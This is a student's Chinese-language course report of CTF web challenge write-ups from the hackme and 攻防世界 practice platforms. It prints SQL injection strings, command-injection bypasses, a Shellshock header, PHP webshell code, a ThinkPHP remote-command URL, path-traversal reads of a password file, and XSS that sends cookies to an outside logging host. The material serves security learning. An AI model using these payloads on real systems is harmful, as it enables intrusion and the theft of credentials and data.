0%

网安课程设计

结课的时候老师让我们写写平台上的题目,写题目不累,写wp汇总才累orz。

序言

此次实验报告,我选择了任务二。我事先询问过张老师,可以只写web类的题目,但是由于只写一个网站的可能会比较少,所以需要多做一些。因此在这里选了功放世界和hackme的题目。还有一点,看了任务一中的任务分类,我对
其中的部分挺感兴趣,因为DDOS一直都是了解,并未真正下手尝试过,因此也做了部分任务一第六章中的内容。

HACK ME

hide and seek

点击题目进入,按F12查看页面源代码即可找到。

guestbook

题目让我们使用sqlmap,看来就是sql注入了,但是我们不用sqlmap

但是怎么测试New Post都没发现有XSS或是注入点。本来以为是盲注也测试失败。

切换到MessageList的时候,扫了一眼url突然发现有个可疑的点。在我查询自己提交的POST的时候出现了一个类似这样的东西。

测试一下

发现真正的注入点……

那么开始注入,用联合查询

id=1 union select 1,2,3,table_name from information_schema.tables where table_schema=database() 得表名

1 union select 1,2,3,column_name from information_schema.columns where table_name=”flag” limit 0,1

回显太少感觉不对劲,换一个方式,用group_concat()将回显拼接并回显。

1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="flag"

这还差不多,最后

即为FLAG

LFI

进入题目随便点点,看到url有明显的LFI

又看到源码中有提示

尝试用php://filter进行包含

 

B64解码为

那么我们就去读

 

B64解码为

即可。

homepage

啊又回到了主页,东翻西翻,找不到,但是看到有个cute.js

然后再打开控制台

发现了一个二维码,扫一扫即有flag

ping

看题目就知道是命令执行,看到一堆blacklist过滤

但是发现他并没有过滤以及$()

那我们就尝试

ls -al

cat flag.php发现catflag都被过滤。

查一查有什么替代指令

Tac:从最后一条开始显示

More:一页一页的显示

Tail:只看末尾几行

nl:显示信息的时候顺序输出行号

随便挑一个吧,选tail,之后flag.php可以用通配符?绕过。

tail ????.???

scoreboard

这题在之前找的时候就找到的flag

Login as Admin 0 & Login as Admin 0.1

这两题给出了源代码

简要分析之后,确定此题为sql注入,且根据其中的查询语句,我们可以通过user构造如下语句:

SELECT * FROM user WHERE user = ’%s’or 1=1(想执行的语句)#’ AND pa ssword = ’%s’

#号能将密码处给注释掉,一旦我们想查询的语句为真则会执行并返回回显。

回头过来看代码结构,发现过滤了or 1=1dropuodatedelete这些关键字还有一个将

</span>置换为的操作,我们可以用||代替or的功能。

尝试下万能密码绕过,

但是登陆上去并不是admin

那么我们再尝试联合注入,order by之后发现有四列,再看看回显位。

发现回显位为2而且成功获得了第一个FLAG。发现提示第二个FLAG在数据库中。

那么我们继续操作,知道回显位以后,开始爆库

admin’ union select 1,database(),3,4#

admin’ union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database() #爆表

发现隐藏表,

admin’ union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = "h1dden_f14g" #爆列

最后admin’ union select 1,the_f14g,3,4 from h1dden_f14g #FLAG

 

即可。

login_as_admin 1 & login_as_admin 1.2

这两题题代码大致与上一题相同,但是union select和空格被过滤了。问题不大,空格可以用//代替,因此union select可以替换成union//select。

那么我们尝试

admin’//union//select/**/1,database(),3,4#

成功获得第一个FLAG,这里又提示FLAG在数据库里。测试一下回显,发现不能直接通过回显来爆库,因为你不管输入什么都会回显相同的输入字符。

猜测可能是盲注并发现

admin’or(ascii(mid((select/**/database()),1,1))>1)#

admin’or(ascii(mid((select/**/database()),1,1))<1)#

明显是盲注,正确的时候可以成功登录,错误的时候显示login failed

贴上脚本

因为估计是台湾的网站,所以请求相应貌似特别慢,脚本也跑的贼慢

所以结果只贴出一部分(20分钟跑出来的结果,差点以为脚本写错了)

一个小时之后的

实在是太久了,就这样附上半条flag…

login_as_admin 3

源代码

分析源代码,看到在namepassword匹配处用了===,那么在弱类型比较中,0==几乎可以绕过任何判断。又发现json_decode的参与,以及sha512

那么我们先以guest登录来查看下cookie

 

尝试解密cookie,先写解密代码

得到cookie明文的值,修改之后再加密。这里踩了个坑,因为sig:“0”传入的0为字符型,这个时候无法达到弱类型匹
配的效果,因此必须用sig0,并且解码出来的data[1]为真值才可进行绕过

修改cookie并保

保存之后改用GET方式请求URL

即可获得FLAG

login as admin 4

分析下源代码

很简短,如果POSTname值为admin则开始匹配password是否等于$password,不等于就再跳转
,意味着我们可以进行抓包来获取跳转之前的界面。抓取https我们用curl

在底下找到了flag

login as admin 6

分析源代码

 

它需要我们POST一个datadatajson解码之后满足一个结构条件:users中的<span lang=EN
-US>username=1,而且usersusernamepassword不相等。但是这样写的话最终会使$user=$username=1没有意
义,我们可以需要通过条件并将user赋值为admin才有意义。我们可以调整为再data域内{$user=$username=>$admin=1
,且password=1},我们写个PHPdata结构并编码。

POST出来的json_encode结果

即可得到FLAG

login as admin 7

分析源代码

我们知道POSTname要等于admin,且密码中的passwordMD5值要==</spa
n>‘00000……00000

这里还是弱类型匹配,利用0exxxxx=0来进行绕过。可以写个脚本来进行MD5碰撞或者在线搜一搜(偷懒)

随便找个password=s878926199a,提交payloadname=admin&password=s878926199a

即可获得FLAG

login as admin 8 & login as admin 8.1

分析源代码

没啥意义……有个session

那我们看看cookie

发现了login8sha512login8cookie这两个参数还有他们的sha512的值,但是这次他没给我们加密代码,放到网站上去解密,解密不能,要猜。

打开python试试

加密值为hex形式,需要1016,而且其中包含了序列化private以及protected类产生的%00,我们不能直接将字符串放进函数中,需要先将其显示出来再放入函数加密,此处我们可以用unquote对其进行转码,但是需要先进行url编码

于是先将

变为

O%3A7%3A%22Session%22%3A6%3A%7Bs%3A14%3A%22%00Session%00debug%22%3Bb%3A0%3Bs%3A19%3A%22%00Session%00debug_dump%22%3Bs%3A9%3A%22index.php%22%3Bs%3A13%3A%22%00Session%00data%22%3Ba%3A2%3A
%7Bs%3A8%3A%22password%22%3Bs%3A5%3A%22guest%22%3Bs%3A5%3A%22admin%22%3Bb%3A0%3B%7Ds%3A4%3A%22user%22%3Bs%3A5%3A%22guest%22%3Bs%3A4%3A%22pass%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22is_admin%22%3Bb%3A0%3B
%7D

再通过脚本加密,先从不加盐开始

对比一下cookie中的sha512值,发现结果一致,说明sha512无盐加密,而且只加密了一部分值。

接下来就简单了

修改cookie中的is_admin的值为1并计算出其sha512的值

保存并改为GET提交

即可获得第一个FLAG

我们查看cookie的时候还发现了debug参数,我们用初始cookie修改一下,点击logout会建立新sessio
n
并保存,以此获得初始cookie

 

修改debug1

提交,但是回显了登陆之前的页面。…?

不知道什么问题,于是开始逐个修改cookie中的参数进行测试,最后修改到index.php的时候有了结果。

index.php改为config.php,然后修改其长度,要符合序列化的规则。

还发现代码里面有debug的触发条件GET /?debug=1,点击提交,查看到源代码以及FLAG

dafuq-manager 1 & 2 & 3

这三题都是连起来的,统一写wp了。

guest登录发现好多提示,先点开

发现第一个提示

再看cookie发现了一个show_hidden参数被置no了。我们照提示改一改。

提交后发现

找到了第一题的flag以及第二题的提示。

 

要以admin登录,才可获取第二个flag

继续查看还有什么文件,发现了源代码包,下载下来。开始了漫长的代码审计。

看了看.config发现登陆时获取的信息来自于.htusers.php,然后与我们提交的用户名和密码进行比对,如果用户名存在、密码相等且存放的$GLOBALS["users"][$i][7]1,就登录成功。因为数据存储在文件里,所以我们就无法进行SQL注入,虽然密码相等判断用的是==,但是由于密码会进行MD5加密的原因,也无法绕过,所以思路还是去到拿到.htusers文件上去。

首先是下载,发现了许多功能,在core里,于是我们跟进core去找fun。追踪到fun_down.php,发现st
ristr($abs_item, ‘.php’)
,那想要下载,htusers.php基本是没戏了。然后是读取,搜索file_get_content,include,require等函数,其中readfile
函数在fun_down.php里面无法使用,而f可读的open函数在lib_zip.phpfun_edit
有,但是在lib_zip.php中的那个没有输出所读取到的数据,而fun_edit.php中的edit_file方法,这里会将读取的数据输出。

我们guest用户的permissions1,因此第一个判断可以绕过。

然后是get_show_item

 

第一个if可以将cookie中的show_hidden改为yes绕过,

第三个if$GLOBALS["show_hidden"].htusers中可以看到,为0,所以dir中不
能含有/.,不过item就没有这个限制了,我们可以将../../这些写在item里来绕过。

我们可以构造?action=edit&item=../../.config/.htusers.php&dir=然后修改cookiehidden值来进行文件读取。

读到文件,口令需要解密。

明文值为how do you turn this on,解密居然要钱…

看到flag2以及flag3的提示

我们看到了有个后门,翻翻代码,在fun_debug处看到了cmd参数可用,但是有过滤和加密。

首先secret_key在之前翻代码的时候已经看到了,还以为是密码,没想到在这里用了。

根据make_command的构造逻辑,我们可以直接尝试进行命令构造,首先过滤操作我们可以用变量拼接的方法来绕过,剩下的过程我们可以直接copy源码的方法来使用。代码如下

先给命令b64编码

构造

?action=debug&dir[]=&command=JGE9J2Fzcyc7JGI9J2VydCc7JGM9JGEuJGI7JGMoYmFzZTY0X2RlY29kZSgnYzNsemRHVnRLQ2RzY3lBdFlXd25LUT09JykpOw==.d0fb393901cf461c132fd32e0f818d5aa3833d3a9732f35
df70204f3e027328f

看到flag3,读取的时候发现没有权限?还在当前目录看到了meow文件,百度了一下发现好像没什么用,但是查看大佬的wp发现这东西可以读文件,
那我们构造如下:

提交即可看到flag

webshell

打开网页一片空白,F12发现一堆奇怪的东西

搜索了一下发现是gzinflate加上base64编码以及rot13的加密,解一下密,可以看到如下:

给了源代码,看了一下发现逻辑很简单,只要绕过

即可执行命令,要用到vps,在vps上放个对应的如下类似的php代码即可。

发送payload,看到有两个flag

最后发现.htflag才是正确的flag

command-executor

这题涉及到一个漏洞,我反正是完全的不懂上网看了wp之后才知道。叫做破壳漏洞。

首先有个文件包含漏洞,php://filter/read/base64-encode/resource=index读一下文件

waf,而且读不到flag,但是有个没见过的函数,putenv

这个函数有个漏洞,利用方法如上。

我们按照其方法,在HTTP头中加入() { : ; }; echo kt

但是waf中貌似过滤这些符号,我们可以用空格进行绕过,对flag的过滤可以用通配符?绕过。

wget –header="X-Exploit: () { : ; }; echo Hacked" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

 

发现可以执行指令,我们可以读文件,尝试ls但是发现不行。

看看网站,又发现Lists files处可以遍历目录,修改路径可以看到

Flag只有root能读,但是有个flag-reader,看看他的C文件。

看了一下,随机产生16个数字,然后再输入回去,就会把flag写进文件中,但是注意到有个alarm,要求这个过程小于一秒。

这种类类似猜数的游戏,人肯定玩不过电脑,我们肯定得用脚本或者命令行,我们可以采用文件达成目标。

构造如下:

wget –header="X-Exploit: () { : ; }; /?lag-reader /?lag > /kt < /kt " -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

发现没反应,看了看文件发现没有权限,但是tmp可以w

那我们在/var/tmp下进行操作

wget –header="X-Exploit: () { : ; }; /?lag-reader /?lag > /var/tmp/kt < /var/tmp/kt " -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=
env"

再读一下

wget –header="X-Exploit: () { : ; };/bin/cat /var/tmp/kt" -q -O - "https://command-executor.hackme.inndy.tw/index.ph
p?func=cmd&cmd=env

即可获得flag

XSSME

我怀疑服务器炸了,打cookie打了半天总是显示undefined,我怀疑真的是服务器的问题。

不管了,思路大致如下:

首先测试waf,发现有较为细致的过滤,像是script、)、<img >之类的过滤,但是带空格,因此我们可以不输入空格来绕过部分过滤,<svg/onload >或者不加空格的<img sc””onerror=””>也可以绕过,那么我们尝试根据题目去构造payload打管理员的cookie。发到ceye尝试

例如:

<img src=""onerror="document.location=’http://qa3vfv.ceye.io/?cookie='+document.cookie"">

或者

<svg/onload=" document.location=’http:// qa3vfv.ceye.io/?cookie=’+document.cookie ">都可以,但是收到的数据是undefined

但是我打自己的cookie又有回显

奇了怪了。Orz

攻防世界

baby_web

打开题目看到1.php,估计是让我猜数字吧,写个小脚本爆破发现爆破不出来。

测试index发现还是回到了1.php,可能有重定向,F12请求index看看,发现了

访问即可。

CAT

题目起了个cat,估计是命令行读文件,同时发现是GET传参,于是测试waf,结果测到宽字节(%80)的时候报错回显了一
大堆HTML代码,发现python路径,以及django

题目构成应该是有django来处理PHP请求。

我们可以用@+绝对路径来查看文件。发现@没被过滤,看看返回的信息,发现了数据库

@ /opt/api/database.sqlite3有回显找找宝贝

真难找。

ics-04

有登录和注册界面,但是没什么用,还剩下一个密码找回。测测sql

字符注入,测测列数

之后就可以按照基本注入步骤进行注入了,回显在3

1’ union select 1,2,group_concat(database()),4 #页面有响应但是无回显,得换种方式,用group_concat()

1’ union select 1,2,group_concat(schema_name),4 from information_schema.schemata #页面回显

因此按照步骤下去,构造

1’ union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=’cetc004’ #

分别探测usernamepassword

1’ union select 1,2,group_concat(username,‘‘password,question,answer),4 from cetc004.user#

额这样太乱了,变成这样

1’ union select 1,2,group_concat(username,’,’,password),4 from cetc004.user#

得到口令和用户名,但是无法解密

试试直接新注册覆盖一个用户名,居然直接成功了,密码替换成了123

登陆试试

ics-05

打开题目,什么都没有,随便点了点发现了

看可能是文件包含,试试php伪协议

[http://111.198.29.45:52025/index.php?page=php://filter/convert.base64-encode/resource=index.php](http://111.198.29.45:52025/index.php?page=php://filter/convert.base64-encode/resource=i
ndex.php)

成功读到文件

解密看到了一个重点关注的地方

我们需要将X-FORWARED-FOR设置为localhost,再以get方式传递三个参数,这三个参数分别是preg_replace的三个参数

那么我们可以如下构造命令

成功执行命令

改命令探测目录

最后

ics-06

题目描述的看起来好像有后门,但是看起来好像不是

送分?

看到这个我懂了

试着bp爆破页面,还真的爆出来了,id=2333去访问

lottery

之前貌似写过这题,记得是代码审计,不记得在哪了,算了不管了重新来。

但是服务器貌似炸了,佛了,之前的wp补上。

.git源码泄露,但是这题直接给你了。

大概是随机七个数全猜对就给你钱,但是没有对输入作比较,可以用php弱类型绕过判断,因为true==1==1”我记得要多跑几次,然后钱才够。

其中 $numbers 来自用户json输入{"action":"buy","numbers":"1234123"},$win_numbers 是随机生成
的数字字符串。

burp抓个包,然后改下payload{"action":"buy","numbers":[true,true,true,true,true,true,true]}

钱够了就可以getflag了。

NewsCenter

一打开题目看到这个搜索框,忍不住测了测sql

还真有

测测列数

1’ union select 1,2,group_concat(schema_name) from information_schema.schemata #

1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’news’ #

1’ union select
1,2,group_concat(column_name) from information_schema.columns where table_name=’secret_table’ #

1’ union select 1,2,group_concat(fl4g) from secret_table #

mfw

打开看到这个

估计有泄露,试试

翻了翻好像没什么能用的,用Githack找一下源码,看到了一个index.php

这个参数拼接很好利用,assert(“strpos(‘templates/“ . $page . “.php’, ‘..’) === false”) or die(“Detected hacking attempt!”);先闭合strpos,在注释掉后边的代码

如下构造:?page=kt’.’kt’) or system(‘cat templates/flag.php’);//

Training-WWW-Robots

Robots呗,还能有啥

探测robots.txt

访问一下

这也太水了吧……

NaNNaNNaNNaN-Batman

这题没有环境?

这乱码还能看得出丝毫的script痕迹,eval改成alert

打开我的phpstorm,整理一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function $(){
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it’","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);s[o%4].splice(0,1)
}
}
}
document.write(‘<input id="c"><button οnclick=$()>Ok</button>’);
delete

这匹配看的头疼,想爆破来着,但不知道怎么下手,orz

后来想想干脆执行一下算了

放控制台执行一下,新firefox执行换成了ctrl+enter了,我按了半天都没反应2333

bug

看到题目总想测测注入,发现都没反应。

注册的时候发现admin已经存在,无法覆盖,题目变成了获取admin权限了

web2

这题目起个web2web关系并不大,按照密码顺序倒过来写就行了。

写个php脚本

php2

这题有毒,一定要扫,扫到了一个phps…

Id=urlencodeid)且id==admin,且“admin“!===id,可以用二次url编码,类似%253e==<

那么尝试构造a=%2561id=%2561dmin

记得请求的时候在index.php请求

unserialize3

这题打开了就是一个简单的反序列化

照着写一个序列化

发送一下

将对象个数修改成大于实际对象个数的数值,出发反序列化漏洞

即可

upload1

打开发现一个文件上传界面,F12看到了js脚本

是一个过滤

又看到有一个check

删掉直接上传文件

成功,找找flag

web_php_include

打开题目看到这个

发现对php//进行了过滤,但是这个过滤不严谨,出现了常见的大小写的问题。

Php://可以绕过

尝试Php://filter/read=convert.base64-encode/resource=index.php;读了个寂寞,得先探测目录,用input 

成功读取

这是可以直接该input中的命令,也可以直接用filter来读,我选择修改命令

成功

ics-07

有源代码,去瞅瞅

上面这是个上传,有过滤,而且上传成功之后是新建之后重新建立一个文件并写入。但最上面有一个问题,session中的admi
n
要为true,需要管理员权限

这里是获取管理员权限的页面,其他的都是正常sql查询,最上面的if大概是需要id是数组而且id经过floatval的值不为1id的最后一位数也要是9id最后的查询值必须相当于1才有获取admin的可能。因为是floatval处是弱类型比较,我们可以构造1 9来绕过

接下来是上传,需要绕过正则,filename.后面的不区分大小写过滤了php34567之类的,但是他只过滤了一个.后面的
东西,并没有循环进行正则匹配,而且上传之后的真实目录为uploaded,因此我们可以尝试构造

?file=../kt.php/1.php/..&con=<?php @eval($_GET[‘a’]);?>

POST上传试试看,然后访问/uploaded/kt.php?a=1,有反应

开始执行命令

直接上最后一步

Web_php_unserialize

打开题目看到这个

赤裸裸的反序列化,$var是利用点,提示了fl4g.php,正则过滤了O:数字的形式,那我们可以构造o+数字的形式绕过

如下:

拿出O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}修改一下变为O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}还要base64一下

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

提交试试

i-got-id-200

打开界面,点击helloworld发现了一个Perl?好眼熟那么这个网站的构成文件都是pl结尾,file里有文件上传,看看perl语言的漏洞里有个上传文件的param()
漏洞
param()函数会返回 一个列表的文件 但是 只有第一个文件会被放入到下面的file变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。我们可以抓个包,加入ARGV,然后在URL处传入命令可以读文件,我随便试了试flag结果真的就出来了,2333

php-rce

打开一看,哇又是这个thinkphp,自带命令执行漏洞的轻量级框架找现成的payload,百度一下

随手试一试[http://111.198.29.45:45426/index.php?s=index/thinkpp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name “flag”](http://111.198.29.
45:45426/index.php?s=index/thinkpp/invokefunction&function=call_user_func_array&vars%5b0%5d=system&vars%5b1%5d%5b%5d=find%20/%20-name%20)
[http://111.198.29.45:45426/index.php?s=index/thinkpp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag](http://111.198.29.45:45426/index
.php?s=index/thinkpp/invokefunction&function=call_user_func_array&vars%5b0%5d=system&vars%5b1%5d%5b%5d=cat)

ics-02

打开到一个下载paper的,下下来看到PDF头,改个后缀看到内容试SSRF,提示就是SSRF了,PDF
里面也没有什么奇怪的地方。
但是这个页面面什么都没有,扫一下目录,有大发现调试文件不允许访问,显示ip不允许那我们看看另一个,发现一个感觉可以注入的页面传注入都是something wrong,看来得利用debug文件,在下载pdf的时候发现他下载的模式是向download.php进行传参,我们可以利用ssrf来向debug文件进行参数传递我们尝试构造[http://111.198.29.45:36488/download.php?dl=http://127.0.0.1/secret/secret_debug.php?s=3%26txtfirst_name=1234%26txtmiddle_name=1234%26
txtname_suffix=asdf%26txtLast_name=asdf%26txtdob=12%27%26txtdl_nmbr=3%26txtRetypeDL=3%26a=3](http://111.198.29.45:36488/download.php?dl=http://127.0.0.1/secret/secret_debug.php?s=3%26txtfirst_name=1234%
26txtmiddle_name=1234%26txtname_suffix=asdf%26txtLast_name=asdf%26txtdob=12%27%26txtdl_nmbr=3%26txtRetypeDL=3%26a=3)
first_name处可以进行注入,写个脚本

结果如下flag{cpg9ssnu_OOOOe333eetc_2018}

blgdel

打开题目,看到又是买东西,扫一下目录有代码还有个sql.txt

列表信息都给的差不多了看看之前的代码,发现还有东西,有个upload,上传的地方有替换操作,还有用户页面注册登录一下,发现上传点,但是显示我分数不够?这设计无语了2333,得多得分了看来我以为要窃取admincookie,看了wp说推荐人可以加分

那注册10个达到100积分进入上传界面上传一个马,但是发现访问没反应,wp里说代码会被替换,得用.htaccess大多数协议被过滤了,只能分析代码中的master协议先执行_construct在进行stream_open等流操作,可以通过构造这个master协议来搜索文件,包含成功的话,这个文件的内容会映射到相应文件里面/需要编码再传入尝试构造php_value auto_append_file master://search/path=%2fhome%2f&name=flag
可以得到再次构造php_value auto_append_file /home/hiahiahia_flag
即可。

 

 

 


-------------    本文结束  感谢您的阅读    -------------